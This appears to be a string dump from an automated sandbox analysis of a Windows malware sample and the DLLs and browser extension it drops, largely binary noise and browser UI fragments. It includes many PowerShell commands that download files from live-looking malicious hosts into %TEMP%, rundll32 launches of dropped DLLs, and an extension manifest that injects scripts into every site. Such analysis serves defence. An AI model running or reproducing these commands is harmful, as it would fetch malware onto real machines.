Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Shlwapi.dll
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
short
Ansi based on Dropped File (kokoko.dll.2691425955)
ShowCompColor
Unicode based on Runtime Data (rundll32.exe )
ShowDebugInfo
Unicode based on Runtime Data (rundll32.exe )
ShowInfoTip
Unicode based on Runtime Data (rundll32.exe )
ShowMainWindowHotKey = P
Ansi based on Dropped File (pc64.cfg)
ShowSuperHidden
Unicode based on Runtime Data (rundll32.exe )
ShowTypeOverlay
Unicode based on Runtime Data (rundll32.exe )
ShowWindow
Ansi based on Dropped File (kokoko.dll.2691425955)
Signature
Unicode based on Runtime Data (QQBrowser.exe )
signed
Ansi based on Dropped File (kokoko.dll.2691425955)
simplified
Unicode based on Dropped File (hhhhh.exe.655875088)
SING error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
singapore
Unicode based on Dropped File (hhhhh.exe.655875088)
singSizeCount>0){var infoQuantifier=missingSizeCount<numerics.length?' '+SOME_TIMESTAMPS_INFO_QUANTIFIER:'';infos.push(tr.ui.analysis.createWarningInfo('Size was not provided'+infoQuantifier+'.'));}},getChildPaneBuilder:function(processMemoryDumps){if(processM
Ansi based on Runtime Data (CPK.exe )
sition based on configured horizontal * and vertical alignment. */ _updateOverlayPosition: function() { if (this.isAttached) { // This triggers iron-resize, and iron-overlay-behavior will call refit if needed.
Ansi based on Runtime Data (CPK.exe )
sition-left: auto; background-position-right: 5em;}.number-collapsed .stat-value { display: none;}.number-expanded .stat-value { display: auto;}</style> <script src="chrome://resources/js/util.js"></script> <script src="chrome://resources
Ansi based on Runtime Data (CPK.exe )
Size: %d Mb
Unicode based on Dropped File (ttttt.exe.179545488)
SizeofResource
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sk-SK
Unicode based on Dropped File (UAC.dll.626400535)
sl-SI
Unicode based on Dropped File (hhhhh.exe.655875088)
sl-si
Unicode based on Dropped File (hhhhh.exe.655875088)
slation
Unicode based on Dropped File (kokoko.dll.2691425955)
Sleep
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SleepEx
Ansi based on Dropped File (UAC.dll.626400535)
sLV`fB]g2t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sM??(J'c??
Ansi based on Runtime Data (rundll32.exe )
smj-NO
Unicode based on Dropped File (hhhhh.exe.655875088)
smn-FI
Unicode based on Dropped File (hhhhh.exe.655875088)
Snarer.msi
Unicode based on Runtime Data (rundll32.exe )
so eliminate extra spacing. */.plugin-details table { -webkit-border-horizontal-spacing: 0; -webkit-border-vertical-spacing: 0;}.plugin-details { -webkit-padding-start: 1em;}/* Separate the inital line, Description, Location, and MIME Types lines.
Ansi based on Runtime Data (CPK.exe )
sO??t?A??c
Ansi based on Runtime Data (rundll32.exe )
SocketReceiveBufferLength
Unicode based on Runtime Data (QQBrowser.exe )
SocketSendBufferLength
Unicode based on Runtime Data (QQBrowser.exe )
SoftReboot Preserve: Yes
Unicode based on Dropped File (ttttt.exe.179545488)
SOFTWARE\Mic
Unicode based on Dropped File (MIO.dll.1862922135)
SOFTWARE\Microsoft\
Unicode based on Dropped File (UAC.dll.626400535)
SOFTWARE\Microsoft\Cryptography
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SOFTWARE\Microsoft\Internet Explorer
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SOFTWARE\Microsoft\Power
Unicode based on Dropped File (psi.dll.1283195511)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Unicode based on Dropped File (kokoko.dll.2691425955)
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Chrome.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
Software\Sysinternals\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
Software\Tencent\QQBrowser\Advanced
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SOFTWARE\Wow6432Node\Microsoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
Unicode based on Dropped File (kokoko.dll.2691425955)
sOJF}M/%*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SourcePath
Unicode based on Runtime Data (rundll32.exe )
south africa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south korea
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south-africa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
south-korea
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
space
Ansi based on Dropped File (kokoko.dll.2691425955)
space for stdio initialization
Unicode based on Dropped File (MIO.dll.1862922135)
spanish-argentina
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-bolivia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-chile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-colombia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-costa rica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-dominican republic
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-ecuador
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-el salvador
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-guatemala
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-honduras
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-mexican
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-modern
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-nicaragua
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-panama
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-paraguay
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-peru
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-puerto rico
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-uruguay
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spanish-venezuela
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
spatcher
Unicode based on Dropped File (ttttt.exe.179545488)
SpecialFoldersCacheSize
Unicode based on Runtime Data (rundll32.exe )
specified by * UX design (bettes@). */ --settings-actionable: var(--cr-actionable); --settings-background-color: rgb(241, 241, 241); --settings-box-row-padding: 20px; --settings-card-max-width: 640px; --settings-disabled-opacity: .6
Ansi based on Runtime Data (CPK.exe )
Specify a Package Relative App Id filter separated by semi-colon
Unicode based on Dropped File (ttttt.exe.179545488)
Specify an event id filter with <n> event ids (maximum 64 event ids allowed)
Unicode based on Dropped File (ttttt.exe.179545488)
SPINLOCK
Unicode based on Dropped File (ttttt.exe.179545488)
splayName
Unicode based on Dropped File (MIO.dll.1862922135)
SPLIT_IO
Unicode based on Dropped File (ttttt.exe.179545488)
sqlite_master WHERE type='index' AND name NOT LIKE 'sqlite_%' UNION ALL SELECT name FROM sqlite_temp_master WHERE type='index' ORDER BY 1
Ansi based on Runtime Data (rundll32.exe )
Starts up the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
switch (this.syncStatus.statusAction) { case settings.StatusAction.REAUTHENTICATE: this.syncBrowserProxy_.startSignIn(); break; case settings.StatusAction.SIGNOUT_AND_SIGNIN:if (this.syncStatus.domain) settings.nav
Ansi based on Runtime Data (CPK.exe )
S|wUMrdy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
TCP Service Provider
Unicode based on Runtime Data (rundll32.exe )
the main content on small screens. if (mobileNav) { document.getElementById('main-content').classList.toggle('hidden'); var runnerContainer = document.querySelector('.runner-container'); if (runnerContainer) { runnerContainer.classList.tog
Ansi based on Runtime Data (CPK.exe )
this.pageIndicator_.pageLabels = message.data.pageNumbers; this.plugin_.postMessage({ type: 'resetPrintPreviewMode', url: message.data.url, grayscale: message.data.grayscale, // If the PDF isn't modifiab
Ansi based on Runtime Data (CPK.exe )
tobago
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
top: 1px;\n margin-right: 2px;\n}\n\n.devices-sidebar-item.device-connected .devices-sidebar-item-status:before {\n color: green;\n}\n\n.devices-sidebar-spacer {\n flex: none;\n}\n\n.devices-view-title {\n font-size: 16px;\n margin: 0 0 15px 15
Ansi based on Runtime Data (CPK.exe )
tracing
Unicode based on Dropped File (ttttt.exe.179545488)
Tracing for Heap and CritSec for different process
Unicode based on Dropped File (ttttt.exe.179545488)
tuw<P]Ct
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Type Descriptor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
unzip 0.15 Copyright 1998 Gilles Vollant
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
use by another logger.
Unicode based on Dropped File (ttttt.exe.179545488)
Use this for Heap Guid
Unicode based on Dropped File (ttttt.exe.179545488)
UserPodCustomIcon.TooltipAutoshowState.ENABLED : UserPodCustomIcon.TooltipAutoshowState.DISABLED); this.tooltipState_.text = tooltip.text; this.updateTooltip_(); }, /** * Sets up icon tabIndex attribute and ha
Ansi based on Runtime Data (CPK.exe )
var addLanguageList = $('add-language-overlay-language-list'); var options = addLanguageList.querySelectorAll('option'); assert(options.length > 0); var selectedFirstItem = false; for (var i = 0; i < options.length; i++) {
Ansi based on Runtime Data (CPK.exe )
var newPage = event.detail.value instanceof Element && event.detail.value.children[0]; if (newPage && newPage.activate != null) { newPage.activate(); } }});<link href="chrome://resources/polymer/v1_0/polymer/polymer.html"
Ansi based on Runtime Data (CPK.exe )
var SyncNodeTree = cr.ui.define('tree'); SyncNodeTree.prototype = { __proto__: cr.ui.Tree.prototype, decorate: function() { cr.ui.Tree.prototype.decorate.call(this); this.addEventListener('change', this.handleChange_.bind(this));
Ansi based on Runtime Data (CPK.exe )
ve6wM[+A/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
willHide(){super.willHide();this._clearPositionToReveal();}syncToolbarItems(){return[this._sourcePosition];}get loaded(){return this._loaded;}get textEditor(){return this._textEditor;}_ensureContentLoaded(){if(!this._contentRequested){this._contentRe
Ansi based on Runtime Data (CPK.exe )
XAr<+B@c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
y tobago
Unicode based on Dropped File (hhhhh.exe.655875088)
you want to stop the "%s" session (Y or N)?
Unicode based on Dropped File (ttttt.exe.179545488)
Z S'Yuu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
z-tzc h6h/R$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Z7Z0|7Z6|1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
z@???{?R@?}F?
Ansi based on Runtime Data (rundll32.exe )
|aQ;&/J
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
} </style> <div id="container"></div> </template></dom-module><dom-module id="tr-ui-a-multi-event-sub-view"> <template> <style> :host { display: flex; overflow: auto; } #content { display: flex; flex-dire
Ansi based on Runtime Data (CPK.exe )
} } }; function selectedIndexChanged(selectedIndex, oldSelectedIndex) { var oldSelectedItem = this.menuItems[oldSelectedIndex]; if (oldSelectedItem) { oldSelectedItem.selected = false; oldSelectedItem.blur(); } var item =
Ansi based on Runtime Data (CPK.exe )
} return Object.keys(appIds);}/** * An object that checks one or more appIds' contents against an origin. * @interface */function AppIdChecker() {}/** * Checks whether the given origin is allowed by all of the given appIds. * @param {!Countdown
Ansi based on Runtime Data (CPK.exe )
!"#$%&'()*+,-./0123
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!-Z<tO@![
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!]_%(r(@hs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!^!*d:T^a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!ET_@}zR8#
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!O8cN^z(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!Q%bqD{$/X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!s>pajy={8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!This program cannot be run in DOS mode.$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!W=Wk/]a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
" type="win32"></assemblyIdentity><description>test</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS></application></compatibility></assembly>
Ansi based on Dropped File (MIO.dll.1862922135)
"*://*.facebook.com/*",
Ansi based on Dropped File (CJ)
"*://*.google.com/*",
Ansi based on Dropped File (CJ)
"*://*.instagram.com/*",
Ansi based on Dropped File (CJ)
"*://*.pinterest.com/*",
Ansi based on Dropped File (CJ)
"*://*.twitter.com/*",
Ansi based on Dropped File (CJ)
"*://*/*"
Ansi based on Dropped File (CJ)
"*://localhost/*"
Ansi based on Dropped File (CJ)
"all_frames": true,
Ansi based on Dropped File (CJ)
"background": {
Ansi based on Dropped File (CJ)
"C:\Updater_20170427_newmm.exe.dll"
Ansi based on Process Commandline (RunDLL)
"C:\Updater_20170427_newmm.exe.dll",UPDATE
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\kokoko.dll",Kitty
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\MIO.dll",Help i
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\psi.dll",I
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\SSS.dll",OFO
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\UAC.dll",UUU
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\WinSAP.dll",afxxx -update
Ansi based on Process Commandline (rundll32.exe)
"chrome://resources/html/event_tracker.html"><script src="chrome://resources/js/cr/ui/focus_row.js"></script><script src="chrome://resources/js/cr/ui/menu.js"></script><script src="chrome://resources/js/cr/ui/menu_button.js"></script><script src="chrome://
Ansi based on Runtime Data (CPK.exe )
"content_scripts": [
Ansi based on Dropped File (CJ)
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
Ansi based on Dropped File (CJ)
"CS_hD[;{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"externally_connectable": {
Ansi based on Dropped File (CJ)
"http://*/*",
Ansi based on Dropped File (CJ)
"https://*.google.com/*",
Ansi based on Dropped File (CJ)
"https://*/*",
Ansi based on Dropped File (CJ)
"I-\\b0ey}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"ids": ["*"],
Ansi based on Dropped File (CJ)
"i~6g`.UU,/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"js": [
Ansi based on Dropped File (CJ)
"key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAQt2ZDdPfoSe/JI6ID5bgLHRCnCu9T36aYczmhw/tnv6QZB2I6WnOCMZXJZlRdqWc7w9jo4BWhYS50Vb4weMfh/I0On7VcRwJUgfAxW2cHB+EkmtI1v4v/OU24OqIa1Nmv9uRVeX0GjhQukdLNhAE6ACWooaf5kqKlCeK+1GOkQIDAQAB",
Ansi based on Dropped File (CJ)
"manifest_version": 2,
Ansi based on Dropped File (CJ)
"matches": [
Ansi based on Dropped File (CJ)
"page": "background.html"
Ansi based on Dropped File (CJ)
"permissions": [
Ansi based on Dropped File (CJ)
"version": "1.3.2",
Ansi based on Dropped File (CJ)
#&B(!9]3]&e[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#/R=f}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#:???MF?]?F????4?%G?]L??E?g
Ansi based on Runtime Data (rundll32.exe )
#I{7.c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#kRae.Aw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#r:XN:6]0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#This program will run on a regular basis, #when the detection of SZJ_BUG on your computer #will automatically download and execute the repair process#####2015.3-2018.9 auto repair##from ZhiHuiDePianZi Company##OS >= windows 7###re
Ansi based on Runtime Data (rundll32.exe )
#{{Su
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$/Xz.QI\*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$8?W]v"O:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$^ \%^!hU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$client = new-object System.Net.WebClient; $client.DownloadFile('
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=GubedZL.install.finish','%TEMP%\csp508D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mid.3','%TEMP%\csw3C06.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1','%TEMP%\cswD966.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.4','%TEMP%\csw263B.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1','%TEMP%\ucD52C.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1','%TEMP%\psg11ED.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14','%TEMP%\psgD63A.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3','%TEMP%\psg1B52.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','%TEMP%\psg256B.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','%TEMP%\psg36A2.tmp')
Ansi based on Process Commandline (powershell.exe)
$F}aBT([_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$let=nwojc ytmNtWblet$letDwlaFl(ht:/2rny3vkcodrn.e/rvd?let=ss,%'
Ansi based on Dropped File (kokoko.dll.2691425955)
$v2JMF:U}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%%SystemRoot%%\System32\LogFiles\WMI\trace.log
Unicode based on Dropped File (ttttt.exe.179545488)
%-18s pid: %-6d type: %-13s %-25s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%-18s pid: %-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%.$(%!+(&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%.4x Hook: %s
Unicode based on Dropped File (ttttt.exe.179545488)
%4X: %-5s (%c%c%c) %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%546 @:8A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%^t/x:) C
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%^ZMH\6]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%b %d %H : %M : %S %Y
Ansi based on Dropped File (kokoko.dll.2691425955)
%d / %m / %y
Ansi based on Dropped File (kokoko.dll.2691425955)
%H : %M : S
Ansi based on Dropped File (kokoko.dll.2691425955)
%I : %M : %S %p
Ansi based on Dropped File (kokoko.dll.2691425955)
%I~#q!Yl[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%m / %d / %y
Ansi based on Dropped File (kokoko.dll.2691425955)
%s%s?action=%s.install.finish
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%s%s?action=%s.install.init
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%s(%d)
Unicode based on Dropped File (hhhhh.exe.655875088)
%s(%d): %d
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\%s:%x
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Drivers\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
& 0x7f); if (seq != seqno++) { console.log(UTIL_fmt( '[' + Gnubby.hexCid(self.cid) + '] bad cont frame ' + UTIL_BytesToHex(f))); schedule_cb(-GnubbyDevice.INVALID_SEQ); return; } // Copy payload. for (var
Ansi based on Runtime Data (CPK.exe )
&>B8/q(XM
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&``x~[a5g\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&r(&`a]\-xR1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&YT)B\}tj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
', PRIMARY_USER: 'primary_user', RECOMMENDED: 'recommended', USER_POLICY: 'userPolicy',};/** @polymerBehavior */var CrPolicyIndicatorBehavior = { /** * @param {CrPolicyIndicatorType} type * @return {boolean} True if the indicator should be sh
Ansi based on Runtime Data (CPK.exe )
',};var DOES_LOAD_SUBTYPE_NAME_EXIST={};for(var key in LOAD_SUBTYPE_NAMES){DOES_LOAD_SUBTYPE_NAME_EXIST[LOAD_SUBTYPE_NAMES[key]]=true;}function LoadExpectation(parentModel,initiatorTitle,start,duration){if(!DOES_LOAD_SUBTYPE_NAME_EXIST[initiatorTitle])throw
Ansi based on Runtime Data (CPK.exe )
'B{N|5/2D#D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'E-%,t[ty!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'editor-content');var buttonsRow=this.element.createChild('div','editor-buttons');this._commitButton=createTextButton('',this._commitClicked.bind(this));buttonsRow.appendChild(this._commitButton);this._cancelButton=createTextButton(Common.UIString('Cancel'),th
Ansi based on Runtime Data (CPK.exe )
'hc((4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'l1),o!8\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'm`???w??x-@4??H??/
Ansi based on Runtime Data (rundll32.exe )
'P@vG}{dD
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
("%s \x3e %s",g));g=Je(a,f);var l=gf(a.length-0,f),n=f=0,q,v,H,lb,Aa;if(null==a)throw new hf("src");if(null==g)throw new hf("dest");lb=za(a);v=za(g);Jc(0!=(lb.f&4),"srcType is not an array");Jc(0!=(v.f&4),"destType is not an array");H=lb.c;q=v.c;Jc(0!=(H.f&1)?
Ansi based on Runtime Data (CPK.exe )
((((( H
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
().updateIsEnterpriseManaged_(isEnterpriseManaged); }; HelpPage.updateCurrentChannel = function(channel) { if (!cr.isChromeOS) return; HelpPage.getInstance().updateCurrentChannel_(channel); }; HelpPage.updateTargetChannel = function(cha
Ansi based on Runtime Data (CPK.exe )
(141@1L1X1d1p1|1
Ansi based on Dropped File (hhhhh.exe.655875088)
(545@5L5X5d5p5|5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(:!,V1Z{K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(ARCSTARTROT + (360-ARCSIZE)) */ -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; } /* Filling and unfilling the arc */ @-webkit-keyframes fillunfill { from { stroke-d
Ansi based on Runtime Data (CPK.exe )
(C/9Go]Zq,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(fG[D%S3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(GG#y0A.l
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(null)
